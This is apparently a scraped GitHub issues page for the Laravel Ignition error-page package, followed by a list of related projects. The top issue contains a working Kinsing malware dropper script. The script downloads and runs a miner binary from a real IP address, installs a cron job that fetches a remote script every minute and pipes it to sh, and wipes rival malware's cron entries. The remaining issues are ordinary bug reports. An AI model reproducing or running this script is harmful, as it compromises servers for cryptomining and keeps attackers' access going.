    BIN_DOWNLOAD_URL2="http://194.40.243.167/kinsing"
    BIN_NAME="kinsing"
    
    ROOTUID="0"
    BIN_PATH="/etc"
    if [ "$(id -u)" -ne "$ROOTUID" ] ; then
      BIN_PATH="/tmp"
      if [ ! -e "$BIN_PATH" ] || [ ! -w "$BIN_PATH" ]; then
        echo "$BIN_PATH not exists or not writeable"
        mkdir /tmp
      fi
      if [ ! -e "$BIN_PATH" ] || [ ! -w "$BIN_PATH" ]; then
        echo "$BIN_PATH replacing with /var/tmp"
        BIN_PATH="/var/tmp"
      fi
      if [ ! -e "$BIN_PATH" ] || [ ! -w "$BIN_PATH" ]; then
        TMP_DIR=$(mktemp -d)
        echo "$BIN_PATH replacing with $TMP_DIR"
        BIN_PATH="$TMP_DIR"
      fi
      if [ ! -e "$BIN_PATH" ] || [ ! -w "$BIN_PATH" ]; then
        echo "$BIN_PATH replacing with /dev/shm"
        BIN_PATH="/dev/shm"
      fi
      if [ -d "$BIN_PATH/$BIN_NAME" ]; then
        echo "$BIN_PATH/$BIN_NAME is directory"
        rm -rf $BIN_PATH/$BIN_NAME
      fi
      if [ -e "$BIN_PATH/$BIN_NAME" ]; then
        echo "$BIN_PATH/$BIN_NAME exists"
        if [ ! -w "$BIN_PATH/$BIN_NAME" ]; then
          echo "$BIN_PATH/$BIN_NAME not writeable"
          ls -la $BIN_PATH | grep -e "/dev" | grep -v grep
          if [ $? -eq 0 ]; then
            rm -rf $BIN_PATH/$BIN_NAME
            rm -rf $BIN_PATH/kdevtmpfsi
            echo "found /dev"
          else
            echo "not found /dev"
          fi
          TMP_BIN_NAME=$(head -3 /dev/urandom | tr -cd '[:alnum:]' | cut -c -8)
          BIN_NAME="kinsing_$TMP_BIN_NAME"
        else
          echo "writeable $BIN_PATH/$BIN_NAME"
        fi
      fi
    fi
    
    BIN_FULL_PATH="$BIN_PATH/$BIN_NAME"
    echo "$BIN_FULL_PATH"
    
    LDR="wget -q -O -"
    if [ -s /usr/bin/curl ]; then
      LDR="curl"
    fi
    if [ -s /usr/bin/wget ]; then
      LDR="wget -q -O -"
    fi
    
    if [ -x "$(command -v curl)" ]; then
      WGET="curl -o"
    elif [ -x "$(command -v wget)" ]; then
      WGET="wget -O"
    else
      echo "wget none"
    fi
    echo "wget is $WGET"
    
    ls -la $BIN_PATH | grep -e "/dev" | grep -v grep
    if [ $? -eq 0 ]; then
      rm -rf $BIN_FULL_PATH
      rm -rf $SO_FULL_PATH
      rm -rf $BIN_PATH/kdevtmpfsi
      rm -rf $BIN_PATH/libsystem.so
      rm -rf /tmp/kdevtmpfsi
      echo "found /dev"
    else
      echo "not found /dev"
    fi
    
    checkExists() {
      CHECK_PATH=$1
      MD5=$2
      sum=$(md5sum $CHECK_PATH | awk '{ print $1 }')
      retval=""
      if [ "$MD5" = "$sum" ]; then
        echo >&2 "$CHECK_PATH is $MD5"
        retval="true"
      else
        echo >&2 "$CHECK_PATH is not $MD5, actual $sum"
        retval="false"
      fi
      echo "$retval"
    }
    
    download() {
      DOWNLOAD_PATH=$1
      DOWNLOAD_URL=$2
      if [ -L $DOWNLOAD_PATH ]
      then
        rm -rf $DOWNLOAD_PATH
      fi
      chmod 777 $DOWNLOAD_PATH
      $WGET $DOWNLOAD_PATH $DOWNLOAD_URL
      chmod +x $DOWNLOAD_PATH
    }
    
    binExists=$(checkExists "$BIN_FULL_PATH" "$BIN_MD5")
    if [ "$binExists" = "true" ]; then
      echo "$BIN_FULL_PATH exists and checked"
    else
      echo "$BIN_FULL_PATH not exists"
      download $BIN_FULL_PATH $BIN_DOWNLOAD_URL
      binExists=$(checkExists "$BIN_FULL_PATH" "$BIN_MD5")
      if [ "$binExists" = "true" ]; then
        echo "$BIN_FULL_PATH after download exists and checked"
      else
        echo "$BIN_FULL_PATH after download not exists"
        download $BIN_FULL_PATH $BIN_DOWNLOAD_URL2
        binExists=$(checkExists "$BIN_FULL_PATH" "$BIN_MD5")
        if [ "$binExists" = "true" ]; then
          echo "$BIN_FULL_PATH after download2 exists and checked"
        else
          echo "$BIN_FULL_PATH after download2 not exists"
        fi
      fi
    fi
    
    chmod 777 $BIN_FULL_PATH
    chmod +x $BIN_FULL_PATH
    SKL=lr $BIN_FULL_PATH
    
    crontab -l | sed '/#wget/d' | crontab -
    crontab -l | sed '/#curl/d' | crontab -
    crontab -l | grep -e "195.3.146.118" | grep -v grep
    if [ $? -eq 0 ]; then
      echo "cron good"
    else
      (
        crontab -l 2>/dev/null
        echo "* * * * * $LDR http://195.3.146.118/lr.sh | sh > /dev/null 2>&1"
      ) | crontab -
    fi
    
    crontab -l | sed '/update.sh/d' | crontab -
    crontab -l | sed '/logo4/d' | crontab -
    crontab -l | sed '/logo9/d' | crontab -
    crontab -l | sed '/logo0/d' | crontab -
    crontab -l | sed '/logo/d' | crontab -
    crontab -l | sed '/tor2web/d' | crontab -
    crontab -l | sed '/jpg/d' | crontab -
    crontab -l | sed '/png/d' | crontab -
    crontab -l | sed '/tmp/d' | crontab -
    crontab -l | sed '/zmreplchkr/d' | crontab -
    crontab -l | sed '/aliyun.one/d' | crontab -
    crontab -l | sed '/3.215.110.66.one/d' | crontab -
    crontab -l | sed '/pastebin/d' | crontab -
    crontab -l | sed '/onion/d' | crontab -
    crontab -l | sed '/lsd.systemten.org/d' | crontab -
    crontab -l | sed '/shuf/d' | crontab -
    crontab -l | sed '/ash/d' | crontab -
    crontab -l | sed '/mr.sh/d' | crontab -
    crontab -l | sed '/185.181.10.234/d' | crontab -
    crontab -l | sed '/localhost.xyz/d' | crontab -
    crontab -l | sed '/45.137.151.106/d' | crontab -
    crontab -l | sed '/111.90.159.106/d' | crontab -
    crontab -l | sed '/github/d' | crontab -
    crontab -l | sed '/bigd1ck.com/d' | crontab -
    crontab -l | sed '/xmr.ipzse.com/d' | crontab -
    crontab -l | sed '/185.181.10.234/d' | crontab -
    crontab -l | sed '/146.71.79.230/d' | crontab -
    crontab -l | sed '/122.51.164.83/d' | crontab -
    crontab -l | sed '/newdat.sh/d' | crontab -
    crontab -l | sed '/lib.pygensim.com/d' | crontab -
    crontab -l | sed '/t.amynx.com/d' | crontab -
    crontab -l | sed '/update.sh/d' | crontab -
    crontab -l | sed '/systemd-service.sh/d' | crontab -
    crontab -l | sed '/pg_stat.sh/d' | crontab -
    crontab -l | sed '/sleep/d' | crontab -
    crontab -l | sed '/oka/d' | crontab -
    crontab -l | sed '/linux1213/d' | crontab -
    crontab -l | sed '/zsvc/d' | crontab -
    

    well done do something, many dev servers in ethernet vulnerable

    opened by haiflive 21
  • Cross-platform PHPStorm editor URL

    Cross-platform PHPStorm editor URL

    Resolves #33 #104

    This solution was tested in Laravel Whoops Editor package: https://github.com/cybercog/laravel-whoops-editor/blob/master/config/whoops-editor.php#L48

    PHPStorm fix:

    http://localhost:63342/api/file/?file=%path&line=%line
    
    opened by antonkomarev 19
  • Action Facade\Ignition\Http\Controllers\ExecuteSolutionController not defined.

    Action Facade\Ignition\Http\Controllers\ExecuteSolutionController not defined.

    This is my composer.json

    
        "require": {
            "php": "^7.2",
            "doctrine/dbal": "^2.10",
            "fideloper/proxy": "^4.0",
            "guzzlehttp/guzzle": "~6.0",
            "laravel/framework": "^6.0",
            "laravel/tinker": "^1.0",
            "shalvah/laravel-jsend": "^1.2"
        },
        "require-dev": {
            "facade/ignition": "^1.4",
            "fzaninotto/faker": "^1.4",
            "laravel/ui": "^1.1",
            "mockery/mockery": "^1.0",
            "nunomaduro/collision": "^3.0",
            "phpunit/phpunit": "^8.0"
        },
    

    I cannot understand what causes this error, and I cannot diagnose

    image

    opened by realtebo 16
  • remote_sites_path is not working as expected.

    remote_sites_path is not working as expected.

    Doc Link : https://flareapp.io/docs/ignition-for-laravel/configuration#remote-development-server-support Reproducing Video: https://www.loom.com/share/ef78c099819948529d0bc8318dae362c

    steps to reproduce

    • run laravel project in container
    • set up facade/ignition as per document.
    • change IGNITION_EDITOR to vscode in config/ignition.php
    • change remote_sites_path to [your project path form host system not on docker] in config/ignition.php
    • make sure you have "facade/ignition": "^2.0", "php": "^7.2.5", "laravel/framework": "^7.0"

    let me know if you need more information on bug.

    PS: Thanks for wonderful tool.

    opened by zgetro 13
  • Conflict when accessing via BrowserSync

    Conflict when accessing via BrowserSync

    Tried out the package on an existing Laravel 5.8.34 project. When accessing via Laravel Mix's BrowserSync (http://localhost:3000), it produces a bunch of raw JavaScript instead of the error page. Works fine when accessing via the full local URL.

    Screenshot 2019-08-30 at 19 41 49 Screenshot 2019-08-30 at 19 43 28 bug 
    opened by sebastiaanluca 13
  • Laravel Ignition Blank Screen

    Laravel Ignition Blank Screen

    Hello Developers/Contributors,

    Since the error still exists this might come over as a repost.

    Original issue: https://github.com/facade/ignition/issues/221 (closed 9 days ago, due to not being able to reproduce)

    When stumping upon a error like this one:

    <?php
    function foo(){
       return user()->BadMethodCallDueToTypooooo(); 
    }
    

    The page will stay blank and will not render the JavaScript view of Ignition.

    As mentioned before by @soufianesabiri its lies into the windows.tab = <?=$tabs?>; code. He fixed it with the underlaying example.

    So I commented this line and it worked...

    //window.tabs = <?=$tabs?>;
    

    in the file: \vendor\facade\ignition\resources\views\errorPage.php

    In my case I tried using dd($tabs) to see whats in it and it responded with []

    This causes an error on Chrome 83.0.4103.116 on Windows 10. (michtest = the page where I cause a error) With a Laravel application

    michtest:87 TypeError: Cannot read property 'forEach' of undefined
        at a.tabs (michtest:92)
        at gn.get (michtest:87)
        at gn.evaluate (michtest:87)
        at a.tabs (michtest:87)
        at a.mounted (michtest:92)
        at Gt (michtest:87)
        at rn (michtest:87)
        at Object.insert (michtest:87)
        at C (michtest:87)
        at Tn.__patch__ (michtest:87)
    

    Looking more into the code and dependancies I have I can't see where the Ignition->tab(Tab $tab) function is being called from. Suggesting this might be not being initialized further than [].

    Is it posible to remove this code or create a fallback so this bug wont happen? https://github.com/facade/ignition/blob/a1ebe576d7d15b8079c414986602eeb94bdcd625/resources/views/errorPage.php#L42

    Would be nice to see a update for this, since I'm working on a upgrade for laravel from 5.4 to ^7.0

    opened by imichaelv 12
  • Slow

    Slow "Class Not Found" Errors

    I am seeing super slow response times for a "Class Not Found" error.

    Valet it takes ~3 seconds. With my Docker env ~8 seconds.

    To reproduce, install a fresh copy of Laravel 6.1 and this route:

    Route::get('/', function () {
        $x = new Carbon\Carbbon();
    });
    
    opened by king724 12
  • Ignition not working on Laravel 6 [ShareReportController not defined]

    Ignition not working on Laravel 6 [ShareReportController not defined]

    Hello,

    Looks like the ignition page is not working on an updated project. The project was 5.8 and now is 6.0 (so it's not related to #20) Ignition is updated to 1.4.8

    The framework displays this page, and no issues are registered on the logs ignition

    opened by gsabater 12
  • Font broken problem in error page

    Font broken problem in error page

    Laravel error page is awesome! But Can't see the font text

    Screenshot_3

    opened by ravenKaisar 11
Releases(2.17.4)
Buggregator is a beautiful, lightweight web server built on Laravel and VueJs that helps debugging your app.

A server for debugging more than just Laravel applications. Buggregator is a beautiful, lightweight web server built on Laravel and VueJs that helps d

Buggregator 164 Jan 14, 2022
Laravel Dumper - Improve the default output of dump() and dd() in Laravel projects

Laravel Dumper Improve the default output of dump() and dd() in Laravel projects. Improves the default dump behavior for many core Laravel objects, in

Galahad 25 Jan 20, 2022
Generate Laravel test factories from your existing models

Laravel Test Factory Generator php artisan generate:model-factory This package will generate factories from your existing models so you can get starte

Marcel Pociot 898 Jan 7, 2022
Laravel Debugbar (Integrates PHP Debug Bar)

Laravel Debugbar This is a package to integrate PHP Debug Bar with Laravel. It includes a ServiceProvider to register the debugbar and attach it to th

Barry vd. Heuvel 13.6k Jan 13, 2022
:dromedary_camel: Laravel log viewer

Laravel log viewer TL;DR Log Viewer for Laravel 5, 6, 7 & 8 (still compatible with 4.2 too) and Lumen. Install with composer, create a route to LogVie

Raphaël Huchet 2.7k Jan 19, 2022
:page_with_curl: Provides a log viewer for Laravel

LogViewer By ARCANEDEV© This package allows you to manage and keep track of each one of your log files. NOTE: You can also use LogViewer as an API. Of

ARCANEDEV 2.1k Jan 18, 2022
A Laravel Package to integrate Nette Tracy Debugger

Nette Tracy for Laravel 5 Better Laravel Exception Handler Features Visualization of errors and exceptions Debugger Bar (ajax support @v1.5.6) Excepti

Recca Tsai 383 Jan 11, 2022
An elegant debug assistant for the Laravel framework.

Introduction Laravel Telescope is an elegant debug assistant for the Laravel framework. Telescope provides insight into the requests coming into your

The Laravel Framework 4.2k Jan 13, 2022
This package connects a Laravel Octance application with Tideways for PHP Monitoring, Profiling and Exception Tracking.

Tideways Middleware for Laravel Octane This package connects a Laravel Octance application with Tideways for PHP Monitoring, Profiling and Exception T

Tideways 7 Jan 6, 2022
Ignition: a beautiful error page for Laravel apps

Ignition is a beautiful and customizable error page for Laravel applications running on Laravel 5.5 and newer. It is the default error page for all Laravel 6 applications.

Spatie 42 Jan 13, 2022
A super simple, clean and pretty error handler that replace the default error handler of PHP. You need only include this file!

php-custom-error-handler A super simple, clean and pretty error handler that replace the default error handler of PHP. You need just include only this

null 1 Jan 6, 2022
💥 Collision is a beautiful error reporting tool for command-line applications

Collision was created by, and is maintained by Nuno Maduro, and is a package designed to give you beautiful error reporting when interacting with your

Nuno Maduro 4k Jan 11, 2022
Cachet is a beautiful and powerful open source status page system.

Cachet is a beautiful and powerful open source status page system. Overview List your service components Report incidents Customise the look of your s

Cachet 12.5k Dec 5, 2021
EBook-Apps - The eBook Apps is a web application that helps you browse ebooks from anywhere using your smartphone and laptop.

⚡️ eBook Apps The eBook Apps is a web application that helps you browse ebooks from anywhere using your smartphone and laptop. ?? Getting Started To s

Ahmad Fauzy 6 Jan 16, 2022
Laravue - a sensible starting point for single-page apps

Laravue - a sensible starting point for single-page apps Note: The vast majority of the functionality of this project has essentially been added into

null 222 Oct 7, 2021
Your users do not always report errors, LaraBug does. LaraBug is a simple to use and implement error tracker built for the Laravel framework.

Your users do not always report errors, LaraBug does. LaraBug is a simple to use and implement error tracker built for the Laravel framework. This rep

LaraBug 161 Dec 31, 2021
Laravel error reporting tool

LaraBug Laravel 5.8/6.x/7.x/8.x package for logging errors to larabug.com Installation You can install the package through Composer. composer require

Dennis Smink 0 Jul 9, 2021
Manage all your cron jobs without modifying crontab. Handles locking, logging, error emails, and more.

Jobby, a PHP cron job manager Install the master jobby cron job, and it will manage all your offline tasks. Add jobs without modifying crontab. Jobby

null 1k Dec 4, 2021
The tool converts different error reporting standards for deep compatibility with popular CI systems (TeamCity, IntelliJ IDEA, GitHub Actions, etc).

JBZoo / CI-Report-Converter Why? Installing Using as GitHub Action Example GitHub Action workflow Available Directions Help description in terminal Co

JBZoo Toolbox 12 Jan 10, 2022
Analyzes PHPStan baseline files and creates aggregated error trend-reports

Analyzes phpstan baseline files Analyzes PHPStan baseline files and creates aggregated error trend-reports.

Markus Staab 6 Jan 10, 2022
This script allows to bypass Oracle Cloud Infrastructure 'Out of host capacity' error immediately when additional OCI capacity will appear in your Home Region / Availability domain.

Resolving Oracle Cloud "Out of Capacity" issue and getting free VPS with 4 ARM cores / 24GB of memory Very neat and useful configuration was recently

Alexander Hitrov 61 Jan 14, 2022
Capture and monitor detailed error logs with nice dashboard and UI

Capture and monitor detailed error logs with nice dashboard and UI Requirements Check Laravel 6 requirements Check Laravel 7 requirements Installation

Bugphix 105 Sep 28, 2021
Remove messages from the error log that are from a certain folder

Error-Focus A package to stay focused on relevant entries in your error-log Scope This package allows you to declare folders that are not under your d

Andreas Heigl 5 Dec 29, 2021
A lightweight package for handling API error responses.

Laravel API Errors This package provides an easy way to manage and handle error response for JSON API's. Installation You can install the package via

3 SIDED CUBE 2 Dec 23, 2021
Hi everyone! This is our repository for our final project in college. We're sorry if so many bug or error. Thank You

About The Project Hi everyone! This is our repository for our final project in college. We're sorry if so many bug or error. Thank You About Laravel L

Lintang Bima Sakti 3 Dec 9, 2021
Assert - Assertions to validate method input/output with nice error messages.

Webmozart Assert This library contains efficient assertions to test the input and output of your methods. With these assertions, you can greatly reduc

Webmozarts GmbH 7k Jan 10, 2022
Better error reporting for PHP, and prettier too!

PHP Error | Improve Error Reporting for PHP THIS IS NO LOBGER MAINTAINED, Please leave me alone. PHP errors are not good enough for development, it's

Joseph Lenton 1.4k Jan 6, 2022
Statamic 3 is the flat-first, Laravel + Git powered CMS designed for building beautiful, easy to manage websites.

About Statamic 3 Statamic 3 is the flat-first, Laravel + Git powered CMS designed for building beautiful, easy to manage websites. Note: This reposito

Statamic 1.6k Jan 18, 2022
Ray server is a beautiful, lightweight php app build on Laravel that helps you debug your app. It runs without installation on multiple platforms.

RayServer is a beautiful, lightweight web server built on Laravel and VueJs that helps debugging your app. It runs without installation on multiple platforms.

Pavel Buchnev 164 Jan 14, 2022